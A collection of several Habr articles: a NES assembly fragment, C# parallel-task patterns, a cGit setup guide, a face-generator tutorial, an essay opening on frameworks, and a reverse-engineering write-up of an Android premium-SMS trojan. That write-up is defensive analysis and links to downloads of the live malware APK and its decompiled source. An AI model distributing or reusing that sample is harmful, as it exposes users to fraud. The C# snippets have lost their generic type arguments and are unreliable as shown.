jmp drawHero
walkHeroLeft:
dec herroXCoordinate
jmp drawHero
```
Далее идет рисование героя
код рисования героя
```
drawHero:
lda herroYCoordinate
sta $2004
lda $00
sta $2004
lda #%00010111
sta $2004
lda herroXCoordinate
sta $2004
lda herroYCoordinate
sta $2004
lda #01
sta $2004
lda #%00010111
sta $2004
lda herroXCoordinate
adc #$07
sta $2004
lda herroYCoordinate
adc #$07
sta $2004
lda $02
sta $2004
lda #%00010111
sta $2004
lda herroXCoordinate
sta $2004
lda herroYCoordinate
adc #$07
sta $2004
lda #03
sta $2004
lda #%00010111
sta $2004
lda herroXCoordinate
adc #$07
sta $2004
nmi_delay 4
jmp mainLoop
```
И цикл повторяется: считывание, определение, рисование состояния героя.
Вот так оказалось не все так сложно, как казалось на первый взгляд. Больше сложностей вызывает сам ассемблер, иногда некоторые моменты не так прозрачны, но Я хотел бы сказать одну простую вещь, если есть мечта стоит идти к ней, и не в коем случае не стоит бросать таких начинаний. В следующих статьях Я бы хотел поговорить о анимации и создание графики.
[**Прошлая статья**](https://habr.com/ru/post/551488/)
**Литература**: http://wiki.nesdev.com/
[**Пример полностью на github**](https://github.com/lnroma/nesExample) | https://habr.com/ru/post/552604/ | null | ru | null |
# Simplify working with parallel tasks in C# (updated)
No doubts that `async/await` pattern has significantly simplified working with asynchronous operations in C#. However, this simplification relates only to the situation when asynchronous operations are executed consequently. If we need to execute several asynchronous operations simultaneously (e.g. we need to call several micro-services) then we do not have many built-in capabilities and most probably `Task.WhenAll` will be used:
```
Task someAsyncOp1 = SomeAsyncOperation1();
Task someAsyncOp2 = SomeAsyncOperation2();
Task someAsyncOp3 = SomeAsyncOperation3();
Task someAsyncOp4 = SomeAsyncOperation4();
await Task.WhenAll(someAsyncOp1, someAsyncOp2, someAsyncOp4);
var result = new SomeContainer(
someAsyncOp1.Result,someAsyncOp2.Result,someAsyncOp3.Result, someAsyncOp4.Result);
```
This is a working solution, but it is quite verbose and not very reliable (you can forget to add a new task to “WhenAll”). I would prefer something like that instead:
```
var result = await
from r1 in SomeAsyncOperation1()
from r2 in SomeAsyncOperation2()
from r3 in SomeAsyncOperation3()
from r4 in SomeAsyncOperation4()
select new SomeContainer(r1, r2, r3, r4);
```
Further I will tell you what is necessary for this construction to work...
First, we should remember that C# query syntax is just a syntax sugar over method call chains and C# preprocessor will convert the previous statement into a cain of `SelectMany` calls:
```
SomeAsyncOperation1()/*Task\*/
.SelectMany(
(r1/\*T1\*/) => SomeAsyncOperation2()/\*Task\*/,
(r1/\*T1\*/, r2/\*T2\*/) => new {r1, r2}/\*Anon type 1\*/)
.SelectMany(
(t/\*Anon type 1\*/) => SomeAsyncOperation3()/\*Task\*/,
(t/\*Anon type 1\*/, r3/\*T3\*/) => new {t, r3}/\*Anon type 2\*/)
.SelectMany(
(t/\*Anon type 2\*/) => SomeAsyncOperation4()/\*Task\*/,
(t/\*Anon type 2\*/, r4/\*T4\*/) => new SomeContainer(t.t.r1, t.t.r2, t.r3, r4));
```
**Скрытый текст**By default C# Compiler will complain about this code since `SelectMany` extension method is defined only for `IEnumerable` interface, but nothing prevents us to create our own overloads of `SelectMany` to make the code compilable.
Each `SelectMany` function in the chain has two arguments\*:
* **the first argument** is a link to a function which returns a next asynchronous operation
`(t/*Anon type 1*/) => SomeAsyncOperation3(),/*Task\*/`
* **the second argument** is a link to a function that combines results of previous asynchronous operations with a result of the operation returned by the function which is passed as the first argument.
`(t/*Anon type 1*/, r3/*T3*/) => new {t, r3}/*Anon type 2*/)`
We can call the first functions to get a list of tasks which will be used in `Task.WhenAll` and then call the second mapping functions to build a result.
To get the task list and the list of mapping functions our `SelectMany` overload needs to return some objects which will contain links to a task and a mapping function. In addition to that, `SelectMany` receives a links to a previous object as `this` argument (in case if `SelectMany` is an extension method) — we also need this link to build a linked list which will
contain all required data.
```
static class TaskAllExtensions
{
public static ITaskAccumulator SelectMany(
this ITaskAccumulator source,
Func> getNextTaskFunc,
Func mapperFunc)
=>
new TaskAccumulator(
prev: source,
currentTask: getNextTaskFunc(default(TCur)),
mapper: mapperFunc);
}
class TaskAccumulator : ITaskAccumulator
{
public readonly ITaskAccumulator Prev;
public readonly Task CurrentTask;
public readonly Func Mapper;
...
}
```
**The initial accumulator**The initial accumulator differs from the subsequent ones since It cannot have a link to a previous accumulator, but it should have a link to the first task:
```
static class TaskAllExtensions
{
...
public static ITaskAccumulator SelectMany(
this Task source,
Func> getNextTaskFunc,
Func mapperFunc)
=>
new TaskAccumulatorInitial(
task1: source,
task2: getNextTaskFunc(default(TCur)),
mapper: mapperFunc);
...
}
class TaskAccumulatorInitial : ITaskAccumulator
{
public readonly Task Task1;
public readonly Task Task2;
public readonly Func Mapper;
...
}
```
Now we can get the result by adding these methods:
```
class TaskAccumulator : ITaskAccumulator
{
public async Task Result()
{
await Task.WhenAll(this.Tasks);
return this.ResultSync();
}
internal IEnumerable Tasks
=> new Task[] { this.CurrentTask }.Concat(this.Prev.Tasks);
internal TRes ResultSync()
=> this.Mapper(this.Prev.ResultSync(), this.CurrentTask.Result);
...
public readonly ITaskAccumulator Prev;
public readonly Task CurrentTask;
public readonly Func Mapper;
}
```
* `Tasks` property returns all tasks from the entire linked list.
* `ResultSync()` recursively applies mapper functions to the task results (all the tasks are supposed to be already resolved).
* `Result()` resolves all tasks (through `await Task.WhenAll(Tasks)`) and returns result of `ResultSync()`
Also, we can add a simple extension method to make `await` work with `ITaskAccumulator`:
```
static class TaskAllExtensions
{
...
public static TaskAwaiter GetAwaiter(this ITaskAccumulator source)
=> source.Result().GetAwaiter();
}
```
Now the code is working:
```
var result = await
from r1 in SomeAsyncOperation1()
from r2 in SomeAsyncOperation2()
from r3 in SomeAsyncOperation3()
from r4 in SomeAsyncOperation4()
select new SomeContainer(r1, r2, r3, r4);
```
However, there is an issue here — C# allows using an intermediate result as an argument for further operations. For example:
```
from r2 in SomeAsyncOperation2()
from r3 in SomeAsyncOperation3(r2)
```
Such code will lead to "Null Reference Exception" since r2 is not yet resolved at the moment when `SomeAsyncOperation3` is called:
```
...
task2:getNextTaskFunc(default(TCur)),
...
```
since all the tasks are run in parallel.
Unfortunately, I do not see a solution for that problem in the current state of C# language, but we can mitigate it by dividing tasks in two groups:
1. Tasks that are executed in parallel
2. Tasks that are executed consequently (which can use all previous results).
To do that let's introduce the two simple wrappers over a task:
```
public struct ParallelTaskWrapper
{
public readonly Task Task;
internal ParallelTaskWrapper(Task task) => this.Task = task;
}
public struct SequentialTaskWrapper
{
public readonly Task Task;
public SequentialTaskWrapper(Task task) => this.Task = task;
}
```
**Helpers**
```
public static ParallelTaskWrapper AsParallel(this Task task)
{
return new ParallelTaskWrapper(task);
}
public static SequentialTaskWrapper AsSequential(this Task task)
{
return new SequentialTaskWrapper(task);
}
```
The only purpose of the tasks is to specify what '''SelectMany''' overloads should be used:
```
public static ITaskAccumulator SelectMany(
this ITaskAccumulator source,
Func> exec,
Func mapper)
...
```
and (it is a new overload):
```
public static ITaskAccumulator SelectMany(
this ITaskAccumulator source,
Func> exec,
Func mapper)
{
return new SingleTask(BuildTask());
async Task BuildTask()
{
var arg1 = await source.Result();
var arg2 = await exec(arg1).Task;
return mapper(arg1, arg2);
}
}
```
**SingleTask**
```
internal class SingleTask : ITaskAccumulator
{
private readonly Task \_task;
private readonly Task[] \_tasks;
public SingleTask(Task task)
{
this.\_task = task;
this.\_tasks = new Task[] { task };
}
public Task Result() => this.\_task;
public IEnumerable Tasks => this.\_tasks;
public T ResultSync() => this.\_task.Result;
}
```
As you see all previous tasks are resolved trough `var arg1/*Anon Type X*/ = await source.Result();`, so they can be used to retrieve a next task and the code bellow will work properly:
```
var result = await
from r1 in SomeAsyncOperation1().AsParallel()
from r2 in SomeAsyncOperation2().AsParallel()
from r3 in SomeAsyncOperation3().AsParallel()
from r4 in SomeAsyncOperation4(r1, r2, r3).AsSequential()
from r5 in SomeAsyncOperation5().AsParallel()
select new SomeContainer(r1, r2, r3, r4, r5);
```
### Update (Getting rid of `Task.WhenAll`)
We introduced the task accumulator to get a list of tasks be able to call `Task.WhenAll` over them. But do we really need it? Actually, we do not!
The thing is that once we received a link to the task it is already started execution and all the task below are running in parallel (the code from the beginning):
```
Task someAsyncOp1 = SomeAsyncOperation1();
Task someAsyncOp2 = SomeAsyncOperation2();
Task someAsyncOp3 = SomeAsyncOperation3();
Task someAsyncOp4 = SomeAsyncOperation4();
```
But instead of Task.WhenAll we can use several await-s:
```
SomeType1 op1Result = await someAsyncOp1;
SomeType2 op2Result = await someAsyncOp2;
SomeType3 op3Result = await someAsyncOp3;
SomeType4 op4Result = await someAsyncOp4;
```
`await` immediately returns a result if a task is already resolved or waits till an asynchronous operation is completed, so the code will take the same amount of time as if `Task.WhenAll` was used.
That fact allows us to significantly simplify the code and get rid of the task accumulator:
```
static class TaskAllExtensions
{
public static ParallelTaskWrapper SelectMany(
this ParallelTaskWrapper source,
Func> exec,
Func mapper)
{
async Task GetResult()
{
var nextTask = exec(default(TCur));//<--Important!
return mapper(await source.Task, await nextTask);
}
return new ParallelTaskWrapper(GetResult());
}
public static ParallelTaskWrapper SelectMany(
this ParallelTaskWrapper source,
Func> exec,
Func mapper)
{
async Task GetResult()
{
return mapper(await source, await exec(await source).Task);
}
return new ParallelTaskWrapper(GetResult());
}
public static TaskAwaiter GetAwaiter(
this ParallelTaskWrapper source)
=>
source.Task.GetAwaiter();
}
```
That is it.
All the code can be [found on GitHub](https://github.com/0x1000000/TaskAll)
**...**
Developers who familiar with functional programing languages might notice that the approach described above resembles “Monad” design pattern. It is no surprise since C# query notation is a kind of equivalent of “do” notation in Haskell which, in turn, is a “syntax sugar” for working with monads. If you are not familiar what that design pattern yet then, I hope, this demonstration will encourage you to get familiar with monads and functional programming. | https://habr.com/ru/post/349352/ | null | en | null |
# Устанавливаем и настраиваем cGit на Ubuntu
С помощью данной статьи (пошаговой инструкции) вы сможете сделать себе собственный Git репозиторий, с веб-интерфейсом на базе [cGit](http://hjemli.net/git/cgit/).
Вот так, просто и лаконично, выглядит стандартный cGit (кликабельно):
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fpiccy.info%2Fview%2F03d1893530c39c81ec030c34ec3e7c5e%2F%22) [](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fpiccy.info%2Fview%2Fc7ad7d7af6013a32f663f73d73607b52%2F%22) [](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fpiccy.info%2Fview%2F4e1255e29101c12a9d266b8cf690a700%2F%22)
Сейчас стали очень популярны виртуальные выделенные серверы (VPS, VDS). За 5-15 долларов в месяц можно позволить себе пользоваться почти полноценным хостингом, с индивидуальными настройками, неплохими ресурсами и почти всем, что душа пожелает. Моя душа желает пользоваться системой контроля версий Git. У неё очень много плюсов, среди которых главные — это скорость и удобство. Я достаточно долго пользовался SVN (не по собственной воле) и я был очень удивлён, когда попробовал Git. Процесс разработки, слияния веток, переключения с ветки на ветку и обновление проходит чрезвычайно удобно, быстро и беспроблемно! В качестве веб-морды я выбрал cGit, потому что встретил довольно много мест, где её используют, он маленький и быстрый. А так же потому, что мне очень не понравился gitweb, который почему-то более популярен. На моём сервере и клиенте установлена ОС Ubuntu 9.04 и 9.10 соответственно. Все действия будут выполняться в консоли. Инструкция расчитана на начинающего пользователя.
В первую очередь (если вы этого до сих пор не сделали) нам нужно будет установить [LAMP](http://ru.wikipedia.org/wiki/LAMP) на удалённом компьютере (он же сервер, он же будущее хранилище). Для этого в убунте достаточно выполнить:
```
sudo tasksel install lamp-server
```
Далее мы скачаем свежую версию cGit и скомпилируем её. Для этого нам нужны некоторые библиотеки и программы. Чтобы их установить — выполните:
```
sudo apt-get install libcurl4-openssl-dev git-core build-essential mc
```
Мы установили пакеты для компиляции, файловый менеджер mc (c его очень удобным редактором mcedit) и непосредственно набор утилит Git. Приступим к компиляции и установке:
```
git clone git://hjemli.net/pub/git/cgit
cd cgit/
git submodule init
git submodule update
make
```
Скачается порядка 20 МБ. Дождитесь успешной компиляции и линковки (обычно не дольше нескольких минут). В результате у нас появился cgi-скрипт, лого и css файл для будущего репозитория. cGit мы установим и настроим вручную.
Дальше возможно несколько вариантов, в зависимости от того, как вы хотите получать доступ к cGit. Мне было удобно обращаться к поддомену. Например так: **git.example.ru**. Для этого создадим новый виртуальный хост (имя удалённого пользователя — **projects**):
```
sudo touch /etc/apache2/sites-available/cgit
sudo mcedit /etc/apache2/sites-available/cgit
```
И вставим в содержимое файла кусок кода (не забудьте поменять домен на свой):
```
ServerName git.example.ru
DocumentRoot /home/projects/www/cgit
DirectoryIndex cgit.cgi
SetEnv CGIT\_CONFIG /etc/cgitrc
Options FollowSymlinks ExecCGI
Allow from all
AllowOverride all
Order allow,deny
SetHandler cgi-script
Allow from all
```
Создадим директорию для cGit и скопируем туда скомпилированные файлы:
```
mkdir ~/www/cgit -p
cd ~/cgit
cp cgit ~/www/cgit/cgit.cgi
cp cgit.png ~/www/cgit/
cp cgit.css ~/www/cgit/
```
Создадим конфигурационный файл для cGit и пропишем в него настройки:
```
sudo touch /etc/cgitrc
sudo mcedit /etc/cgitrc
```
Откроется редактор. Вот моё содержимое конфига, с комментариями:
```
#Относительный путь для всего остального
virtual-root=/
#Путь к картинке логотипа и стилям.
css=/cgit.css
logo=/cgit.png
#Директория для автоматического сканирования Git репозиториев.
scan-path=/home/projects
#Дополнительные ссылочки и информация...
enable-index-links=1
enable-log-filecount=1
enable-log-linecount=1
#Заголовок репозитария
root-title=Мои репозитории
#Подзаголовок
root-desc=Зачем откладывать на завтра то, что можно отложить на послезавтра?
#Разрешаем скачивание репозитариев, веток или коммитов архивами (очень удобная вещь)
snapshots=tar.gz tar.bz2 zip
#Список статических (кроме тех, что подхватываются автоматически) репозиториев
repo.url=temp
repo.path=/home/sartor/www/temp/.git
repo.desc=Это репозиторий для тестов
repo.owner=Sartor
repo.url=exp
repo.path=/home/sartor/www/exp/.git
repo.desc=Experimentum
repo.owner=Sartor
```
Теперь всё готово для запуска. Добавим виртуальный хост в список разрешённых и перезапустим апач:
```
sudo a2ensite cgit
sudo /etc/init.d/apache2 restart
```
Заходим на git.example.ru и убеждаемся, что всё работает.
Если появилась 50х ошибка, то нужно сделать следующее:
```
sudo touch ~/www/cgit/.htaccess
sudo mcedit ~/www/cgit/.htaccess
```
И вставить следующее содержимое (не забудьте изменить пути на свои):
```
RewriteEngine on
RewriteCond %{HTTP_HOST} ^git\.
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule .* - [L]
RewriteCond %{HTTP_HOST} ^git\.
RewriteRule ^git/$ /home/projects/www/cgit/cgit.cgi [L]
RewriteCond %{HTTP_HOST} ^git\.
RewriteRule ^(.*)$ /home/projects/www/cgit/cgit.cgi?url=$1 [L,QSA]
```
Теперь точно будет работать :)
Чтобы проверить, правильно ли всё работает создадим репозиторий с одним файлом:
```
mkdir ~/test
cd ~/test
touch habr.txt
echo "Здоровья тебе, хабраюзер" > habr.txt
git init
git add .
git commit -m "Первый коммит"
```
Обновляем старничку в браузере и видим наш первый коммит.
Подведу итоги того, что мы сделали и как этим пользоваться:
На удалённом сервере мы создали веб-интерфейс для популярной системы контроля версий Git. Доступ к ней происходит через поддомен git.
Опишу примерный сценарий разработчика:
1. Создаю на сервере новую папку (например **www/test**) в домашней.
2. Делаю в ней **git init**.
3. На локальной машине делаю **git clone projects@example.ru:www/test/.git**. Это создаст локальную копию удалённого репозитория (пока пустого).
4. Накидываю кучу файлов в локальную папку, которую мы создали на предыдущем шаге. Делаю, так сказать, каркас проекта. Если нужно — добавляю исключения (.gitignore).
5. Выполняю **git add . && git commit && git push**, комментирую свои изменения.
6. Всё. Локальный и удалённый репозиарии обновлены и синхронизированны.
7. Работаю над проектом. После каких-либо осмысленных изменений делаю вновь шаг 5. Не забывайте предварительно зайти в ту папку, с которой работали. Особо ~~ленивые~~ хитрые могу сделать алиасы для баша.
Если вы веб-разрабочик и вам нужно довольно часто показывать текущий результат работы — очень полезно будет положить файл **post-receive** в папку .git/hooks какого-либо проекта с таким содержимым:
```
#!/bin/sh
cd ..
env -i git checkout -f
echo "Удалённый репозиторий успешно обновлён!"
```
И дайте ему права на исполнение. Теперь после каждого обновления (шаг 5) будет также обновляться рабочее дерево проекта и реальные файлы всегда будут последней, актуальной версии (а этого почти все и ожидают, когда обновили удалённый репозиторий, но так по умолчанию не происходит).
Обучение работы с git происходит быстро и интуитивно. По этой СКВ есть множество информации на разных языках, а с веб-интерфейсом пользоваться будет ещё легче.
На чистоту конфигов не претендую, админ из меня не очень. Но они гарантированно работают. | https://habr.com/ru/post/86753/ | null | ru | null |
# Reverse-engineering одного вируса для Android
Я Java-программист и не так давно начал изучать Java для Android. Сегодня на мой планшет попало весьма любопытное уведомление «Надо обновить Flash Player», если бы не профессиональный интерес к платформе Android, то скорее всего я бы пропустил его и продолжил отдыхать, однако сегодня холодный воскресный вечер и я решил решил посмотреть что у вируса «под капотом».
Кстати, парни хорошо подгадали момент выпуска своего «FlashPlayer»: буквально за час до этого я обновлял нормальный FlashPlayer от Adobe на стационарнике.
Если Вам интересно — прошу под кат. Под катом есть несколько скриншотов.
Итак, я скачал APK на планшет, Lockout сразу ругнулся, что это троян и предложил сразу удалить файл от греха подальше. Отказавшись от удаления, я передал apk-шник на стационарник через FTP Server для дальнейшего исследования.
Первое что надо было сделать — распаковать архив с помощью apktool (все ссылки на использованные программы в конце статьи).
Прежде всего я обратил внимание на Android Manifest.
Там был весь (ну или почти весь) набор функций устройства. Кроме стандартных (для вирусных программ) разрешений типа:
Там были такие вещи:
На хрена ему доступ к будильнику я так и не понял.
Отслеживая это событие, от сразу выполняет себя после сразу после загрузки.
Также вирус отслеживает:
1. Подключение/отключение от сети:
2. Присланные SMS'ки
И регистрирует сервис:
Если устанавливать приложение на устройство, то установка выглядит так:
После манифеста я глянул на ресурсы: там не было ничего интересного: стандартная иконка flash player'a размером 72 на 70 для всех плотностей и strings.xml с значением:
`Loading`
Самое интересное было в папке assets.
В папке files были 6 фотографий парней, 4 фото девушек, файл tabor.css (с какими-то стилями) и явно не текстовый файл a.txt (unix-овая утилита file не особо помогла определить что это, немногословно сказав `a.txt: data`
В папках css,images и js находились вспомогательные вещи для отрисовки html-страничек.
Страничка white.html выглядит так:
Видимо авторы сделали расчет на совсем тупых юзеров (иконка flash player, а предлагают грузить Opera Mini 6.5 (очень часто распространяемую через AdMob в приложениях).
По нажатию кнопки далее срабатывает сценарий JS, который делает редирект на payed.html
Еще в white.html есть скрытый див: с захардкоденной ссылкой:
`**Ваша ссылка:**
**yerc1.net/?u=64504**.`
На странице payed.html ссылка другая:
`**Ваша ссылка:**
**filesesa.net/?u=90-656jc5y9ny1yc2fb0d**.`
Страница sendcontacts.html просто содержит редирект на payed.html
Самая интересная страница это **test.html**.
Там активно используется JS c jQuery.
Алгоритм такой:
1. Сначала показывается иконка и надпись: «Подождите идет установка.»
2. Дальше с помощью JS вычисляется случайный timeout
`timeout = Math.floor((Math.random()*100)+1) + Math.floor((Math.random()*100)+1);`
Юзеру при этом показывается фейковый progressbar
3. По окончанию ожидания вычисляется условие:
`(androidInfo.match(/operator3/) == 'operator3' || androidInfo.match(/operator13/) == 'operator13' )`
Если operator13, то выводится сообщение:
`$('#paymentinfo').html('Услуга платная, 29900руб. без налогов');`
Неплохая цена для бесплатного приложения…
Если operator = 3, то сообщение такое: «Услуга платная, не более 354р с НДС.»
Если не то и не другое, то показывается ссылка на offerta.html
offerta.html содержит соглашение между сервисом flashplayer-ru.net и Абонентом.
Полный текст можно прочитать на [infomobiles.net/oferta.php](http://infomobiles.net/oferta.php)
Приведу самые примечательные моменты:
* Программный продукт является инсталляционным модулем («приложением»), обеспечивающим доступ к сервисам интернет-ресурса flashplayer-ru.net
* В процессе регистрации… производится отправка до трёх сообщений электросвязи на цифровые идентификаторы, имеющие premium-тарификацию
* Вы даете сведений о технических параметрах используемой Вами абонентской станции с целью дальнейшего предоставления совместимых приложений или ссылок на совместимые приложения.
* Стоимость составляет 1062 рублей
* … необходимо обратиться в Службу поддержки Абонентов по почте: me.s.mobile@gmail.com.
И после всех этих Правил есть кнопка далее, нажатие по которой перекинет жертву на payed.html, где ее ждет ссылка на filesesa.net
По whois узнаем, что домен flashplayer-ru.net был создан 22.06.2012, а filesesa.net — 4 сентября. Остальное все совпадает
`Domain Name: FILESESA.NET
Registrar: INTERNET.BS CORP.
Whois Server: whois.internet.bs
Referral URL: www.internet.bs
Name Server: NS3.SUPERIDNS.NET
Name Server: NS4.SUPERIDNS.NET
Status: ok
Updated Date: 04-sep-2012
Creation Date: 04-sep-2012
Expiration Date: 04-sep-2013`
Дальше я зашел на сайт регистратора (bs — это Багамские Острова) и пообщался с девушкой-техсуппортом, которая посоветовала отправить сообщение в abuse на электропочту abuse@internet.bs.
Написав в abuse, я продолжил копать. В распакованном архиве были еще файлы smali. Но погуглив на тему реверсинга из .smali в .java, я решил вернуться к исходному архиву APK. Распаковав apk-шку простым 7-zip'ом я обнаружил там classes.dex.
Дальше в дело вступил dex2jar
А затем и JD-GUI, который дал мне код:
Похоже на то, что код сильно обфусцирован. Я пока не до конца разобрался с тем как именно вызываются веб-страницы, но запустив вирус на эмуляторе, я могу сказать, что он запускается сразу после ребута и сразу падает.
Полученный код я выложил на сайт нашей лаборатории: [virtalabs.net/apkHack/flash-player.src.zip](http://virtalabs.net/apkHack/flash-player.src.zip)
Сам APK можно найти там же: [virtalabs.net/apkHack/flash\_player\_installer.apk](http://virtalabs.net/apkHack/flash_player_installer.apk)
А распакованная папка здесь: [virtalabs.net/apkHack/FlashPlayer](http://virtalabs.net/apkHack/FlashPlayer/)
Сейчас жду реакции от регистратора. Так как сайты сделаны на русском языке для СНГшной аудитории (что видно по пользовательскому соглашению, как минимум), стоит ли отправлять рез-ты реверсинга в отдел К?
Надеюсь эта статья вызовет интерес в android-сообществе и кого-нибудь убережет от установки такого типа вирусов.
И как я обещал ссылки на использованные программы:
APKtool — [code.google.com/p/android-apktool](https://code.google.com/p/android-apktool/)
Dex2Jar — [code.google.com/p/dex2jar](http://code.google.com/p/dex2jar/)
JD-Gui — [java.decompiler.free.fr/?q=jdgui](http://java.decompiler.free.fr/?q=jdgui)
У JD-Gui есть версия под Eclipse IDE (http://java.decompiler.free.fr/?q=jdeclipse ) — но у меня не получилось её установить из-за проблем с сайтом JD.
Также огромную пользу мне принесла статья Кена Киндера (Ken Kinder): [kkinder.com/2011/11/27/so-you-want-to-reverse-engineer-an-android-app-apk](http://kkinder.com/2011/11/27/so-you-want-to-reverse-engineer-an-android-app-apk/) | https://habr.com/ru/post/151608/ | null | ru | null |
# Как я сгенерировал на Python тысячу лиц для своей игры
На определённом этапе разработки своей игры я осознал, что мне нужна система диалогов с лицами-аватарами.
Поэтому я решил создать генератор лиц на основе знаменитой игры *Papers, Please*.
*Генератор лиц [Dukope](https://forums.tigsource.com/index.php?topic=29750.20) (из Papers, Please)*
Сбор данных
===========
Я скачал примерно 50 портретов с pixabay.com (все изображения имеют лицензию CC и не требуют указания авторства).
Затем я вырезал фон каждого изображения в Photoshop (просто выбрал всё инструментом выделения многоугольника и нажал на Delete). В дальнейшем я планировал воспользоваться эффектом *cutout* , чтобы скрыть все недочёты.
*Изображения с удалённым фоном*
Сегментация лиц
---------------
Для сегментации лиц я использую слои. Просто размываю кистью «нос и рот», а затем «глаза и брови», а затем создаю для них в PS новый слой. Это я делаю, выбрав видимые пиксели (*Ctrl+нажатие на миниатюру слоя*) и создав новый слой из выделенного. Все волосы, очки и другие объекты, закрывающие лицо, отправляются на слой под названием «hair\_overlap». Я помечаю сегменты во всех 50 изображениях.
*Процесс работы со слоями*
Также мне нужно подготовить лица для только что созданных элементов. Я использую *Clone Stamp Tool*, клонирую кожу и затираю все черты лица (новый слой *затёрт инструментом «Палец» (Smudge)*).
Извлечение черт лица
--------------------
Некоторые скачанные мной портретные фото не подходят для использования целиком, поэтому я извлекаю только те черты лиц, которые можно использовать в генераторе (например, только нос и губы).
Я буду извлекать черты при помощи библиотек Python *psd\_tools* и *Pillow* (их можно установить командой *pip install psd-tools Pillow* или при помощи IDE).
*Этот фрагмент кода должен составить список всех слоёв и ограничивающих их прямоугольников.*
*… что он и делает.*
Затем мне нужно экспортировать все слои в отдельные файлы изображений. Также я создаю по папке для каждого названия слоя (представленный ниже фрагмент кода создаёт множество папок и файлов, например, *eyes/girl-919048\_1920.psd.png*).
*Извлечение слоёв в файлы изображений*
*Извлечённые слои «eyes»*
*Извлечённые слои «nose\_mouth»*
Генератор лиц
=============
Теперь мне просто нужно всё это соединить вместе, и в этом мне поможет *Pillow Image*.
*Слой за слоем*
Сгенерированные изображения довольно уродливы, поэтому нужно попытаться как-то скрыть их несовершенство фильтром cutout.
*Сгенерированные изображения*
Фильтр *cutout* довольно хорошо справляется с сокрытием изъянов.
*Влияние Cutout в действии*
К сожалению, в Python невозможно создать этот эффект без использования фильтров Собеля, медианных фильтров и дизеринга, для реализации которых потребуется очень много времени. Я нашёл плагин для GIMP [*FU\_artist\_cutout.scm*](http://gimpchat.com/viewtopic.php?p=137912), который делает то же самое, но использовать его будет неправильно. Я буду применять библиотеку G’MIC, у которой также есть [онлайн-UI](https://gmicol.greyc.fr/).
*Онлайн-утилита G’MIC*
Как оказалось, gmic может только использовать скрипты, у него нет параметра командной строки для эффекта *cutout*. Я нашёл определение эффекта *cutout* в файле *gmic\_stdlib.gmic:*
> `fx_cutout :
>
> -repeat $! -l[$>] -split_opacity -l[0]
>
> -median {10-$3}
>
> -quantize $1
>
> --area. 0,1 med=${-med} -rm.
>
> -inpaint_holes {$med*$2%},0,1
>
> -if $4 -n 0,255 -endif-endl -a c -endl -done`
Теперь я мог создать собственный фильтр cutout для g’mic:
> `# File `myCutout.gmic`
>
> cutout :
>
> -echo "Arguments : $1,$2"
>
> -input $1
>
> -repeat $! -l[$>] -split_opacity -l[0]
>
> -median 6
>
> -quantize 20
>
> --area. 0,1 med=${-med} -rm.
>
> -inpaint_holes {$med*0%},0,1
>
> -endl -a c -endl -done -output $2`
Имея его и инструмент командной строки, я готов к дальнейшей работе.
*G’MIC в действии*
*Случайное лицо. Наложение волос работает, замечательно.*
Теперь я просто подключаю всё это к *подпроцессу* и жду, пока он не сгенерирует нужное мне количество случайных лиц. Готово.
Код и несколько файлов .psd есть на моём github.
[janjilecek/faceGenerator](https://github.com/janjilecek/faceGenerator?source=post_page-----83340079013f----------------------) | https://habr.com/ru/post/470668/ | null | ru | null |
# Библиотечные паттерны: Почему фреймворки — это зло
Здравствуйте, уважаемые читатели!
Сегодня мы хотим предложить вам перевод технической статьи, автор которой, Томас Петричек, рассматривает различные аспекты работы с библиотеками на языке F#. Поскольку мы сейчас изучаем потенциал одной книги, в создании которой участвовал этот автор, статья позиционируется прежде всего как текст-образец, на примере которого вы сможете оценить повествовательный талант автора, качество его идей, аргументов и рассуждений, а также примеры кода. Однако, поскольку изложенные в статье соображения не ограничиваются работой с F#, надеемся, что текст окажется информативным и интересным для самой широкой аудитории
Эта статья написана по мотивам одного из [моих предыдущих постов](http://tomasp.net/blog/2015/library-layers/), посвященного дизайну функциональных библиотек, однако будет вполне понятна и без такого вводного поста, так как посвящена другой теме.
В предыдущей статье я описал некоторые принципы, которые мне пригодились при написании библиотек в функциональном стиле. Я опираюсь на собственный опыт создания библиотек на языке F#, но идеи, которые будут здесь изложены, достаточно универсальные и будут полезны при работе с любым языком программирования. В предыдущем посте я писал, как множественные уровни абстрагирования позволяют создавать библиотеки, упрощающие реализацию 80% сценариев, но при этом полезные и в более интересных практических случаях.
В этом материале я собираюсь поговорить о двух других аспектах: как разрабатывать компонуемые библиотеки и как (а главное — зачем) избегать обратных вызовов при разработке библиотек. Как понятно из названия статьи, суть ее сводится к следующему: пишите библиотеки, а не фреймворки!
Сравнение фреймворков и библиотек
В чем заключается разница между фреймворком и библиотекой? Преимущественно в том, как можно использовать те и другие, и каков будет характер кода в первом и во втором случае.
* Фреймворки. Когда вы пользуетесь фреймворком, его задача — обеспечивать работу системы. Он определяет ряд точек расширения (интерфейсов), где вы подключаете ваши реализации.
* Библиотеки. При использовании библиотеки за работу системы отвечаете вы. Библиотека определяет ряд точек, через которые вы можете получить к ней доступ (функции и типы), и ваш код вызывает их по мере необходимости.
Разница показана на вышеприведенной схеме. Фреймворк определяет структуру, которую вам приходится заполнить, а библиотека сама имеет некоторую структуру, вокруг которой вы выстраиваете ваш код.
Разумеется, подобное деление на библиотеки и фреймворки не является однозначным. Некоторые компоненты совмещают черты первых и вторых: вы вызываете такой компонент как библиотеку, однако у него есть определенные ниши (например, интерфейс), которые вам приходится заполнить.
**Что плохого во фреймворках?**
Рассмотрев вышеприведенную схему, вы уже видите, какие проблемы могут возникать с фреймворками. В этом разделе я опишу некоторые вещи, касающиеся трех таких проблем (а в следующем разделе рассмотрю способы их решения).
***Фреймворки не компонуются***
Вероятно, самая большая и очевидная проблема фреймворков заключается в том, что они не стыкуются друг с другом. Если у вас есть два фреймворка, то у каждого из них будет своя специфическая ниша, которую вам придется заполнить. Но обычно не существует способа вставить один фреймворк в другой (причем обычно неясно, почему один фреймворк должен быть условно внутри, а другой — снаружи).
С библиотеками складывается иная ситуация. Вы управляете ими, поэтому ваша программа вполне может вызывать множество библиотек. Конечно, это сопряжено с некоторыми трудностями — приходится писать более сложный код вокруг оконечных точек библиотек — но, как правило, это вполне реализуемо.
> Теоретическое отступление
>
>
>
> Я не утверждаю, что следующие соображения обладают какой-либо теоретической базой, но фреймворки немного напоминают монады. Если вы находитесь вне монады, то «попасть внутрь» нее можно при помощи модуля. Затем можно выполнять внутри монады различные операции, но выйти из нее уже не можете. Фреймворки подобны таким монадам.
>
